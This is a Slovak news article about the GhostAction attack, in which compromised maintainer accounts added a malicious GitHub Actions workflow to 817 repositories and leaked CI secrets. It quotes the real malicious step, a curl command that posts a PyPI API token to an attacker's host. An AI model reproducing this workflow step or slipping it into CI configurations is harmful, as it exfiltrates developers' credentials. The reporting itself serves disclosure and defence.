Počas útoku GhostAction bolo zkompromitovaných 817 repozitárov na GitHub

Odborníci z firmy GitGuardian odhalili masívny útok na používateľov GitHub, pri ktorom získali kontrolu nad 327 účtami a implementovali škodlivý spracovateľ Github Action do 817 repozitárov. Útok viedol k úniku 3325 tajomstiev, ktoré sa používali v systémoch kontinuálnej integrácie a odosielali sa prostredníctvom premenných prostredia, vrátane prístupových tokenov k PyPI, GitHub, NPM, DockerHub a rôznym cloudovým úložiskám.

Počas útoku GhostAction bolo zkompromitovaných 817 repozitárov na GitHub

GitHub Actions umožňuje vývojárom kódu pripojiť spracovateľov na automatizáciu rôznych operácií na GitHub. Napríklad pomocou GitHub Actions je možné vykonávať určité kontroly a testy pri vykonávaní commitov alebo automatizovať spracovanie nových Issues. Škodlivý spracovateľ sa šíril pod názvom „Github Actions Security“ a obsahoval v sekcii „run“ príkaz „curl“, ktorý posielal obsah premenných prostredia na externý hostiteľ pri spúšťaní úloh v prostredí kontinuálnej integrácie. Škodlivý commit bol pridaný z účtov správcov projektov, ktorí boli pravdepodobne predtým hacknutí alebo sa stali obeťou phishingu.

Útok bol odhalený po analýze anomálnej aktivity súvisiacej s balíkom FastUUID, ktorý poskytuje Python rozšírenie nad Rust knižnicou UUID. Balík FastUUID, ktorý za posledný týždeň zaznamenal takmer 1,2 milióna stiahnutí, sa používa ako závislosť v populárnom projekte LiteLLM, ktorý má v PyPI viac ako 5 miliónov stiahnutí za týždeň. Analýza zmien v repozitári FastUUID ukázala, že 2. septembra správca projektu pridal commit s novým spracovateľom Github Action, ktorý obsahoval kód na odoslanie tokenu k repozitáru PyPI na externého hostiteľa. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https://bold-dhawan.45-139-104-115.plesk.page

Problém sa podarilo odhaliť skôr, než ho zločinci stihli využiť na prevzatie tokenu — nezaznamenali sa žiadne publikácie škodlivých zmien alebo modifikovaných verzií balíka vo PyPI pre FastUUID. Podobné substitúcie Github Action boli zistené ešte v 816 repozitároch, vlastníkům ktorých a tiež administrácii PyPI, GitHub, NPM a DockerHub boli zaslané oznámenia. K včerajšiemu večeru boli škodlivé commity zrušené približne v 100 repozitároch. V súčasnosti pri vyhľadávaní na GitHub je určených 671 commitu so škodlivým Github Action.

Zdroj: opennet.ru

Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster